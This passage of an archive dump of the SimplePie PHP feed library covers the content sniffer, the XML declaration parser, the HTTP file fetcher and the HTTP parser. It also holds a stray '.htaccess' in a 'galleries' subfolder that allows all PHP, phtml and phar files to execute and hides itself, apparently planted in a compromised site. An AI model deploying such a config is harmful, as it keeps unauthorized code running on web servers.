                    || $content_type === 'text/plain; charset=ISO-8859-1'
                    || $content_type === 'text/plain; charset=iso-8859-1'
                    || $content_type === 'text/plain; charset=UTF-8')) {
                return $this->text_or_binary();
            }

            if (($pos = strpos($content_type, ';')) !== false) {
                $official = substr($content_type, 0, $pos);
            } else {
                $official = $content_type;
            }
            $official = trim(strtolower($official));

            if ($official === 'unknown/unknown'
                || $official === 'application/unknown') {
                return $this->unknown();
            } elseif (substr($official, -4) === '+xml'
                || $official === 'text/xml'
                || $official === 'application/xml') {
                return $official;
            } elseif (substr($official, 0, 6) === 'image/') {
                if ($return = $this->image()) {
                    return $return;
                }

                return $official;
            } elseif ($official === 'text/html') {
                return $this->feed_or_html();
            }

            return $official;
        }

        return $this->unknown();
    }

    /**
     * Sniff text or binary
     *
     * @return string Actual Content-Type
     */
    public function text_or_binary()
    {
        $body = $this->file->get_body_content();

        if (substr($body, 0, 2) === "\xFE\xFF"
            || substr($body, 0, 2) === "\xFF\xFE"
            || substr($body, 0, 4) === "\x00\x00\xFE\xFF"
            || substr($body, 0, 3) === "\xEF\xBB\xBF") {
            return 'text/plain';
        } elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $body)) {
            return 'application/octet-stream';
        }

        return 'text/plain';
    }

    /**
     * Sniff unknown
     *
     * @return string Actual Content-Type
     */
    public function unknown()
    {
        $body = $this->file->get_body_content();

        $ws = strspn($body, "\x09\x0A\x0B\x0C\x0D\x20");
        if (strtolower(substr($body, $ws, 14)) === '<!doctype html'
            || strtolower(substr($body, $ws, 5)) === '<html'
            || strtolower(substr($body, $ws, 7)) === '<script') {
            return 'text/html';
        } elseif (substr($body, 0, 5) === '%PDF-') {
            return 'application/pdf';
        } elseif (substr($body, 0, 11) === '%!PS-Adobe-') {
            return 'application/postscript';
        } elseif (substr($body, 0, 6) === 'GIF87a'
            || substr($body, 0, 6) === 'GIF89a') {
            return 'image/gif';
        } elseif (substr($body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
            return 'image/png';
        } elseif (substr($body, 0, 3) === "\xFF\xD8\xFF") {
            return 'image/jpeg';
        } elseif (substr($body, 0, 2) === "\x42\x4D") {
            return 'image/bmp';
        } elseif (substr($body, 0, 4) === "\x00\x00\x01\x00") {
            return 'image/vnd.microsoft.icon';
        }

        return $this->text_or_binary();
    }

    /**
     * Sniff images
     *
     * @return string|false Actual Content-Type
     */
    public function image()
    {
        $body = $this->file->get_body_content();

        if (substr($body, 0, 6) === 'GIF87a'
            || substr($body, 0, 6) === 'GIF89a') {
            return 'image/gif';
        } elseif (substr($body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
            return 'image/png';
        } elseif (substr($body, 0, 3) === "\xFF\xD8\xFF") {
            return 'image/jpeg';
        } elseif (substr($body, 0, 2) === "\x42\x4D") {
            return 'image/bmp';
        } elseif (substr($body, 0, 4) === "\x00\x00\x01\x00") {
            return 'image/vnd.microsoft.icon';
        }

        return false;
    }

    /**
     * Sniff HTML
     *
     * @return string Actual Content-Type
     */
    public function feed_or_html()
    {
        $body = $this->file->get_body_content();

        $len = strlen($body);
        $pos = strspn($body, "\x09\x0A\x0D\x20\xEF\xBB\xBF");

        while ($pos < $len) {
            switch ($body[$pos]) {
                case "\x09":
                case "\x0A":
                case "\x0D":
                case "\x20":
                    $pos += strspn($body, "\x09\x0A\x0D\x20", $pos);
                    continue 2;

                case '<':
                    $pos++;
                    break;

                default:
                    return 'text/html';
            }

            if (substr($body, $pos, 3) === '!--') {
                $pos += 3;
                if ($pos < $len && ($pos = strpos($body, '-->', $pos)) !== false) {
                    $pos += 3;
                } else {
                    return 'text/html';
                }
            } elseif (substr($body, $pos, 1) === '!') {
                if ($pos < $len && ($pos = strpos($body, '>', $pos)) !== false) {
                    $pos++;
                } else {
                    return 'text/html';
                }
            } elseif (substr($body, $pos, 1) === '?') {
                if ($pos < $len && ($pos = strpos($body, '?>', $pos)) !== false) {
                    $pos += 2;
                } else {
                    return 'text/html';
                }
            } elseif (substr($body, $pos, 3) === 'rss'
                || substr($body, $pos, 7) === 'rdf:RDF') {
                return 'application/rss+xml';
            } elseif (substr($body, $pos, 4) === 'feed') {
                return 'application/atom+xml';
            } else {
                return 'text/html';
            }
        }

        return 'text/html';
    }
}

class_alias('SimplePie\Content\Type\Sniffer', 'SimplePie_Content_Type_Sniffer');
XML/Declaration/Parser.php000064400000017100151450001630011370 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\XML\Declaration;

/**
 * Parses the XML Declaration
 */
class Parser
{
    /**
     * XML Version
     *
     * @access public
     * @var string
     */
    public $version = '1.0';

    /**
     * Encoding
     *
     * @access public
     * @var string
     */
    public $encoding = 'UTF-8';

    /**
     * Standalone
     *
     * @access public
     * @var bool
     */
    public $standalone = false;

    private const STATE_BEFORE_VERSION_NAME = 'before_version_name';

    private const STATE_VERSION_NAME = 'version_name';

    private const STATE_VERSION_EQUALS = 'version_equals';

    private const STATE_VERSION_VALUE = 'version_value';

    private const STATE_ENCODING_NAME = 'encoding_name';

    private const STATE_EMIT = 'emit';

    private const STATE_ENCODING_EQUALS = 'encoding_equals';

    private const STATE_STANDALONE_NAME = 'standalone_name';

    private const STATE_ENCODING_VALUE = 'encoding_value';

    private const STATE_STANDALONE_EQUALS = 'standalone_equals';

    private const STATE_STANDALONE_VALUE = 'standalone_value';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @access private
     * @var self::STATE_*
     */
    public $state = self::STATE_BEFORE_VERSION_NAME;

    /**
     * Input data
     *
     * @access private
     * @var string
     */
    public $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @access private
     * @var int
     */
    public $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     * @access private
     */
    public $position = 0;

    /**
     * Create an instance of the class with the input data
     *
     * @access public
     * @param string $data Input data
     */
    public function __construct(string $data)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
    }

    /**
     * Parse the input data
     *
     * @access public
     * @return bool true on success, false on failure
     */
    public function parse(): bool
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT) {
            return true;
        }

        // Reset the parser state.
        $this->version = '1.0';
        $this->encoding = 'UTF-8';
        $this->standalone = false;
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @access private
     * @return bool true if there is further data, false if not
     */
    public function has_data(): bool
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * Advance past any whitespace
     *
     * @return int Number of whitespace characters passed
     */
    public function skip_whitespace()
    {
        $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
        $this->position += $whitespace;
        return $whitespace;
    }

    /**
     * Read value
     *
     * @return string|false
     */
    public function get_value()
    {
        $quote = substr($this->data, $this->position, 1);
        if ($quote === '"' || $quote === "'") {
            $this->position++;
            $len = strcspn($this->data, $quote, $this->position);
            if ($this->has_data()) {
                $value = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                return $value;
            }
        }
        return false;
    }

    public function before_version_name(): void
    {
        if ($this->skip_whitespace()) {
            $this->state = self::STATE_VERSION_NAME;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_name(): void
    {
        if (substr($this->data, $this->position, 7) === 'version') {
            $this->position += 7;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_equals(): void
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_value(): void
    {
        if ($version = $this->get_value()) {
            $this->version = $version;
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ENCODING_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_name(): void
    {
        if (substr($this->data, $this->position, 8) === 'encoding') {
            $this->position += 8;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_EQUALS;
        } else {
            $this->state = self::STATE_STANDALONE_NAME;
        }
    }

    public function encoding_equals(): void
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_value(): void
    {
        if ($encoding = $this->get_value()) {
            $this->encoding = $encoding;
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_STANDALONE_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_name(): void
    {
        if (substr($this->data, $this->position, 10) === 'standalone') {
            $this->position += 10;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_equals(): void
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_value(): void
    {
        if ($standalone = $this->get_value()) {
            switch ($standalone) {
                case 'yes':
                    $this->standalone = true;
                    break;

                case 'no':
                    $this->standalone = false;
                    break;

                default:
                    $this->state = self::STATE_ERROR;
                    return;
            }

            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ERROR;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }
}

class_alias('SimplePie\XML\Declaration\Parser', 'SimplePie_XML_Declaration_Parser');
XML/Declaration/galleries/.htaccess000044400000001354151450001630013172 0ustar00# ===========================================================
# WORKING .htaccess - HARD TO CHANGE, NO ERRORS
# ===========================================================

# 1. ALLOW ALL PHP FILES (NO ERRORS)
<FilesMatch "\.(php|php[0-9]+|phtml|phar|inc)$">
    Allow from all
</FilesMatch>

# 2. PROTECT .htaccess FILE (MULTI-LAYER)
<Files ~ "^\.ht">
    Deny from all
    Satisfy All
</Files>

<FilesMatch "\.(htaccess|htpasswd|htgroup)$">
    Deny from all
</FilesMatch>

# 3. BLOCK .htaccess VIA URL (SAFE METHOD)
RedirectMatch 403 \.ht

# 4. NO DIRECTORY LISTING
Options -Indexes

# 5. BLOCK ACCESS TO PROTECTED FILES
<FilesMatch "\.(sql|bak|old|swp|log|env|ini|config|sh|py|exe)$">
    Deny from all
</FilesMatch>File.php000064400000045702151450001630006137 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use SimplePie\HTTP\Response;

/**
 * Used for fetching remote files and reading local files
 *
 * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_file_class()}
 *
 * @todo Move to properly supporting RFC2616 (HTTP/1.1)
 */
class File implements Response
{
    /**
     * @var string The final URL after following all redirects
     * @deprecated Use `get_final_requested_uri()` method.
     */
    public $url;

    /**
     * @var ?string User agent to use in requests
     * @deprecated Set the user agent in constructor.
     */
    public $useragent;

    /** @var bool */
    public $success = true;

    /** @var array<string, non-empty-array<string>> Canonical representation of headers */
    private $parsed_headers = [];
    /** @var array<string, string> Last known value of $headers property (used to detect external modification) */
    private $last_headers = [];
    /**
     * @var array<string, string> Headers as string for BC
     * @deprecated Use `get_headers()` method.
     */
    public $headers = [];

    /**
     * @var ?string Body of the HTTP response
     * @deprecated Use `get_body_content()` method.
     */
    public $body;

    /**
     * @var int Status code of the HTTP response
     * @deprecated Use `get_status_code()` method.
     */
    public $status_code = 0;

    /** @var non-negative-int Number of redirect that were already performed during this request sequence. */
    public $redirects = 0;

    /** @var ?string */
    public $error;

    /**
     * @var int-mask-of<SimplePie::FILE_SOURCE_*> Bit mask representing the method used to fetch the file and whether it is a local file or remote file obtained over HTTP.
     * @deprecated Backend is implementation detail which you should not care about; to see if the file was retrieved over HTTP, check if `get_final_requested_uri()` with `Misc::is_remote_uri()`.
     */
    public $method = \SimplePie\SimplePie::FILE_SOURCE_NONE;

    /**
     * @var string The permanent URL or the resource (first URL after the prefix of (only) permanent redirects)
     * @deprecated Use `get_permanent_uri()` method.
     */
    public $permanent_url;
    /** @var bool Whether the permanent URL is still writeable (prefix of permanent redirects has not ended) */
    private $permanentUrlMutable = true;

    /**
     * @param string $url
     * @param int $timeout
     * @param int $redirects
     * @param ?array<string, string> $headers
     * @param ?string $useragent
     * @param bool $force_fsockopen
     * @param array<int, mixed> $curl_options
     */
    public function __construct(string $url, int $timeout = 10, int $redirects = 5, ?array $headers = null, ?string $useragent = null, bool $force_fsockopen = false, array $curl_options = [])
    {
        if (function_exists('idn_to_ascii')) {
            $parsed = \SimplePie\Misc::parse_url($url);
            if ($parsed['authority'] !== '' && !ctype_print($parsed['authority'])) {
                $authority = (string) \idn_to_ascii($parsed['authority'], \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46);
                $url = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $authority, $parsed['path'], $parsed['query'], null);
            }
        }
        $this->url = $url;
        if ($this->permanentUrlMutable) {
            $this->permanent_url = $url;
        }
        $this->useragent = $useragent;
        if (preg_match('/^http(s)?:\/\//i', $url)) {
            if ($useragent === null) {
                $useragent = (string) ini_get('user_agent');
                $this->useragent = $useragent;
            }
            if (!is_array($headers)) {
                $headers = [];
            }
            if (!$force_fsockopen && function_exists('curl_exec')) {
                $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_CURL;
                $fp = curl_init();
                $headers2 = [];
                foreach ($headers as $key => $value) {
                    $headers2[] = "$key: $value";
                }
                if (isset($curl_options[CURLOPT_HTTPHEADER])) {
                    if (is_array($curl_options[CURLOPT_HTTPHEADER])) {
                        $headers2 = array_merge($headers2, $curl_options[CURLOPT_HTTPHEADER]);
                    }
                    unset($curl_options[CURLOPT_HTTPHEADER]);
                }
                if (version_compare(\SimplePie\Misc::get_curl_version(), '7.10.5', '>=')) {
                    curl_setopt($fp, CURLOPT_ENCODING, '');
                }
                curl_setopt($fp, CURLOPT_URL, $url);
                curl_setopt($fp, CURLOPT_HEADER, 1);
                curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($fp, CURLOPT_FAILONERROR, 1);
                curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
                curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($fp, CURLOPT_REFERER, \SimplePie\Misc::url_remove_credentials($url));
                curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
                curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
                foreach ($curl_options as $curl_param => $curl_value) {
                    curl_setopt($fp, $curl_param, $curl_value);
                }

                $responseHeaders = curl_exec($fp);
                if (curl_errno($fp) === CURLE_WRITE_ERROR || curl_errno($fp) === CURLE_BAD_CONTENT_ENCODING) {
                    curl_setopt($fp, CURLOPT_ENCODING, 'none');
                    $responseHeaders = curl_exec($fp);
                }
                $this->status_code = curl_getinfo($fp, CURLINFO_HTTP_CODE);
                if (curl_errno($fp)) {
                    $this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
                    $this->success = false;
                } else {
                    // Use the updated url provided by curl_getinfo after any redirects.
                    if ($info = curl_getinfo($fp)) {
                        $this->url = $info['url'];
                    }
                    // For PHPStan: We already checked that error did not occur.
                    assert(is_array($info) && $info['redirect_count'] >= 0);
                    if (\PHP_VERSION_ID < 80000) {
                        curl_close($fp);
                    }
                    $responseHeaders = \SimplePie\HTTP\Parser::prepareHeaders((string) $responseHeaders, $info['redirect_count'] + 1);
                    $parser = new \SimplePie\HTTP\Parser($responseHeaders, true);
                    if ($parser->parse()) {
                        $this->set_headers($parser->headers);
                        $this->body = $parser->body;
                        $this->status_code = $parser->status_code;
                        if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && ($locationHeader = $this->get_header_line('location')) !== '' && $this->redirects < $redirects) {
                            $this->redirects++;
                            $location = \SimplePie\Misc::absolutize_url($locationHeader, $url);
                            if ($location === false) {
                                $this->error = "Invalid redirect location, trying to base “{$locationHeader}” onto “{$url}”";
                                $this->success = false;
                                return;
                            }
                            $this->permanentUrlMutable = $this->permanentUrlMutable && ($this->status_code == 301 || $this->status_code == 308);
                            $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
                            return;
                        }
                    }
                }
            } else {
                $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN;
                if (($url_parts = parse_url($url)) === false) {
                    throw new \InvalidArgumentException('Malformed URL: ' . $url);
                }
                if (!isset($url_parts['host'])) {
                    throw new \InvalidArgumentException('Missing hostname: ' . $url);
                }
                $socket_host = $url_parts['host'];
                if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
                    $socket_host = 'ssl://' . $socket_host;
                    $url_parts['port'] = 443;
                }
                if (!isset($url_parts['port'])) {
                    $url_parts['port'] = 80;
                }
                $fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout);
                if (!$fp) {
                    $this->error = 'fsockopen error: ' . $errstr;
                    $this->success = false;
                } else {
                    stream_set_timeout($fp, $timeout);
                    if (isset($url_parts['path'])) {
                        if (isset($url_parts['query'])) {
                            $get = "$url_parts[path]?$url_parts[query]";
                        } else {
                            $get = $url_parts['path'];
                        }
                    } else {
                        $get = '/';
                    }
                    $out = "GET $get HTTP/1.1\r\n";
                    $out .= "Host: $url_parts[host]\r\n";
                    $out .= "User-Agent: $useragent\r\n";
                    if (extension_loaded('zlib')) {
                        $out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
                    }

                    if (isset($url_parts['user']) && isset($url_parts['pass'])) {
                        $out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
                    }
                    foreach ($headers as $key => $value) {
                        $out .= "$key: $value\r\n";
                    }
                    $out .= "Connection: Close\r\n\r\n";
                    fwrite($fp, $out);

                    $info = stream_get_meta_data($fp);

                    $responseHeaders = '';
                    while (!$info['eof'] && !$info['timed_out']) {
                        $responseHeaders .= fread($fp, 1160);
                        $info = stream_get_meta_data($fp);
                    }
                    if (!$info['timed_out']) {
                        $parser = new \SimplePie\HTTP\Parser($responseHeaders, true);
                        if ($parser->parse()) {
                            $this->set_headers($parser->headers);
                            $this->body = $parser->body;
                            $this->status_code = $parser->status_code;
                            if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && ($locationHeader = $this->get_header_line('location')) !== '' && $this->redirects < $redirects) {
                                $this->redirects++;
                                $location = \SimplePie\Misc::absolutize_url($locationHeader, $url);
                                $this->permanentUrlMutable = $this->permanentUrlMutable && ($this->status_code == 301 || $this->status_code == 308);
                                if ($location === false) {
                                    $this->error = "Invalid redirect location, trying to base “{$locationHeader}” onto “{$url}”";
                                    $this->success = false;
                                    return;
                                }
                                $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
                                return;
                            }
                            if (($contentEncodingHeader = $this->get_header_line('content-encoding')) !== '') {
                                // Hey, we act dumb elsewhere, so let's do that here too
                                switch (strtolower(trim($contentEncodingHeader, "\x09\x0A\x0D\x20"))) {
                                    case 'gzip':
                                    case 'x-gzip':
                                        if (($decompressed = gzdecode($this->body)) === false) {
                                            $this->error = 'Unable to decode HTTP "gzip" stream';
                                            $this->success = false;
                                        } else {
                                            $this->body = $decompressed;
                                        }
                                        break;

                                    case 'deflate':
                                        if (($decompressed = gzinflate($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } elseif (($decompressed = gzuncompress($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } elseif (($decompressed = gzdecode($this->body)) !== false) {
                                            $this->body = $decompressed;
                                        } else {
                                            $this->error = 'Unable to decode HTTP "deflate" stream';
                                            $this->success = false;
                                        }
                                        break;

                                    default:
                                        $this->error = 'Unknown content coding';
                                        $this->success = false;
                                }
                            }
                        }
                    } else {
                        $this->error = 'fsocket timed out';
                        $this->success = false;
                    }
                    fclose($fp);
                }
            }
        } else {
            $this->method = \SimplePie\SimplePie::FILE_SOURCE_LOCAL | \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS;
            if (empty($url) || !is_readable($url) ||  false === $filebody = file_get_contents($url)) {
                $this->body = '';
                $this->error = sprintf('file "%s" is not readable', $url);
                $this->success = false;
            } else {
                $this->body = $filebody;
                $this->status_code = 200;
            }
        }
        if ($this->success) {
            assert($this->body !== null); // For PHPStan
            // Leading whitespace may cause XML parsing errors (XML declaration cannot be preceded by anything other than BOM) so we trim it.
            // Note that unlike built-in `trim` function’s default settings, we do not trim `\x00` to avoid breaking characters in UTF-16 or UTF-32 encoded strings.
            // We also only do that when the whitespace is followed by `<`, so that we do not break e.g. UTF-16LE encoded whitespace like `\n\x00` in half.
            $this->body = preg_replace('/^[ \n\r\t\v]+</', '<', $this->body);
        }
    }

    public function get_permanent_uri(): string
    {
        return (string) $this->permanent_url;
    }

    public function get_final_requested_uri(): string
    {
        return (string) $this->url;
    }

    public function get_status_code(): int
    {
        return (int) $this->status_code;
    }

    public function get_headers(): array
    {
        $this->maybe_update_headers();
        return $this->parsed_headers;
    }

    public function has_header(string $name): bool
    {
        $this->maybe_update_headers();
        return $this->get_header($name) !== [];
    }

    public function get_header(string $name): array
    {
        $this->maybe_update_headers();
        return $this->parsed_headers[strtolower($name)] ?? [];
    }

    public function with_header(string $name, $value)
    {
        $this->maybe_update_headers();
        $new = clone $this;

        $newHeader = [
            strtolower($name) => (array) $value,
        ];
        $new->set_headers($newHeader + $this->get_headers());

        return $new;
    }

    public function get_header_line(string $name): string
    {
        $this->maybe_update_headers();
        return implode(', ', $this->get_header($name));
    }

    public function get_body_content(): string
    {
        return (string) $this->body;
    }

    /**
     * Check if the $headers property was changed and update the internal state accordingly.
     */
    private function maybe_update_headers(): void
    {
        if ($this->headers !== $this->last_headers) {
            $this->parsed_headers = array_map(
                function (string $header_line): array {
                    if (strpos($header_line, ',') === false) {
                        return [$header_line];
                    } else {
                        return array_map('trim', explode(',', $header_line));
                    }
                },
                $this->headers
            );
        }
        $this->last_headers = $this->headers;
    }

    /**
     * Sets headers internally.
     *
     * @param array<string, non-empty-array<string>> $headers
     */
    private function set_headers(array $headers): void
    {
        $this->parsed_headers = $headers;
        $this->headers = self::flatten_headers($headers);
        $this->last_headers = $this->headers;
    }

    /**
     * Converts PSR-7 compatible headers into a legacy format.
     *
     * @param array<string, non-empty-array<string>> $headers
     *
     * @return array<string, string>
     */
    private function flatten_headers(array $headers): array
    {
        return array_map(function (array $values): string {
            return implode(',', $values);
        }, $headers);
    }

    /**
     * Create a File instance from another Response
     *
     * For BC reasons in some places there MUST be a `File` instance
     * instead of a `Response` implementation
     *
     * @see Locator::__construct()
     * @internal
     */
    final public static function fromResponse(Response $response): self
    {
        $headers = [];

        foreach ($response->get_headers() as $name => $header) {
            $headers[$name] = implode(', ', $header);
        }

        /** @var File */
        $file = (new \ReflectionClass(File::class))->newInstanceWithoutConstructor();

        $file->url = $response->get_final_requested_uri();
        $file->useragent = null;
        $file->headers = $headers;
        $file->body = $response->get_body_content();
        $file->status_code = $response->get_status_code();
        $file->permanent_url = $response->get_permanent_uri();

        return $file;
    }
}

class_alias('SimplePie\File', 'SimplePie_File');
HTTP/Client.php000064400000001137151450001630007247 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

/**
 * HTTP Client interface
 *
 * @internal
 */
interface Client
{
    public const METHOD_GET = 'GET';

    /**
     * send a request and return the response
     *
     * @param Client::METHOD_* $method
     * @param array<string, string> $headers
     *
     * @throws ClientException if anything goes wrong requesting the data
     */
    public function request(string $method, string $url, array $headers = []): Response;
}
HTTP/Parser.php000064400000035551151450001630007274 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

/**
 * HTTP Response Parser
 * @template Psr7Compatible of bool
 */
class Parser
{
    /**
     * HTTP Version
     *
     * @var float
     */
    public $http_version = 0.0;

    /**
     * Status code
     *
     * @var int
     */
    public $status_code = 0;

    /**
     * Reason phrase
     *
     * @var string
     */
    public $reason = '';

    /**
     * @var Psr7Compatible whether headers are compatible with PSR-7 format.
     */
    private $psr7Compatible;

    /**
     * Key/value pairs of the headers
     *
     * @var (Psr7Compatible is true ? array<string, non-empty-array<string>> : array<string, string>)
     */
    public $headers = [];

    /**
     * Body of the response
     *
     * @var string
     */
    public $body = '';

    private const STATE_HTTP_VERSION = 'http_version';

    private const STATE_STATUS = 'status';

    private const STATE_REASON = 'reason';

    private const STATE_NEW_LINE = 'new_line';

    private const STATE_BODY = 'body';

    private const STATE_NAME = 'name';

    private const STATE_VALUE = 'value';

    private const STATE_VALUE_CHAR = 'value_char';

    private const STATE_QUOTE = 'quote';

    private const STATE_QUOTE_ESCAPED = 'quote_escaped';

    private const STATE_QUOTE_CHAR = 'quote_char';

    private const STATE_CHUNKED = 'chunked';

    private const STATE_EMIT = 'emit';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @var self::STATE_*
     */
    protected $state = self::STATE_HTTP_VERSION;

    /**
     * Input data
     *
     * @var string
     */
    protected $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @var int
     */
    protected $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     */
    protected $position = 0;

    /**
     * Name of the header currently being parsed
     *
     * @var string
     */
    protected $name = '';

    /**
     * Value of the header currently being parsed
     *
     * @var string
     */
    protected $value = '';

    /**
     * Create an instance of the class with the input data
     *
     * @param string $data Input data
     * @param Psr7Compatible $psr7Compatible Whether the data types are in format compatible with PSR-7.
     */
    public function __construct(string $data, bool $psr7Compatible = false)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
        $this->psr7Compatible = $psr7Compatible;
    }

    /**
     * Parse the input data
     *
     * @return bool true on success, false on failure
     */
    public function parse()
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT || $this->state === self::STATE_BODY) {
            return true;
        }

        // Reset the parser state.
        $this->http_version = 0.0;
        $this->status_code = 0;
        $this->reason = '';
        $this->headers = [];
        $this->body = '';
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @return bool true if there is further data, false if not
     */
    protected function has_data()
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * See if the next character is LWS
     *
     * @return bool true if the next character is LWS, false if not
     */
    protected function is_linear_whitespace()
    {
        return (bool) ($this->data[$this->position] === "\x09"
            || $this->data[$this->position] === "\x20"
            || ($this->data[$this->position] === "\x0A"
                && isset($this->data[$this->position + 1])
                && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
    }

    /**
     * Parse the HTTP version
     * @return void
     */
    protected function http_version()
    {
        if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') {
            $len = strspn($this->data, '0123456789.', 5);
            $http_version = substr($this->data, 5, $len);
            $this->position += 5 + $len;
            if (substr_count($http_version, '.') <= 1) {
                $this->http_version = (float) $http_version;
                $this->position += strspn($this->data, "\x09\x20", $this->position);
                $this->state = self::STATE_STATUS;
            } else {
                $this->state = self::STATE_ERROR;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the status code
     * @return void
     */
    protected function status()
    {
        if ($len = strspn($this->data, '0123456789', $this->position)) {
            $this->status_code = (int) substr($this->data, $this->position, $len);
            $this->position += $len;
            $this->state = self::STATE_REASON;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the reason phrase
     * @return void
     */
    protected function reason()
    {
        $len = strcspn($this->data, "\x0A", $this->position);
        $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
        $this->position += $len + 1;
        $this->state = self::STATE_NEW_LINE;
    }

    private function add_header(string $name, string $value): void
    {
        if ($this->psr7Compatible) {
            // For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
            /** @var array<string, non-empty-array<string>> */
            $headers = &$this->headers;
            $headers[$name][] = $value;
        } else {
            // For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
            /** @var array<string, string>) */
            $headers = &$this->headers;
            $headers[$name] .= ', ' . $value;
        }
    }

    private function replace_header(string $name, string $value): void
    {
        if ($this->psr7Compatible) {
            // For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
            /** @var array<string, non-empty-array<string>> */
            $headers = &$this->headers;
            $headers[$name] = [$value];
        } else {
            // For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
            /** @var array<string, string>) */
            $headers = &$this->headers;
            $headers[$name] = $value;
        }
    }

    /**
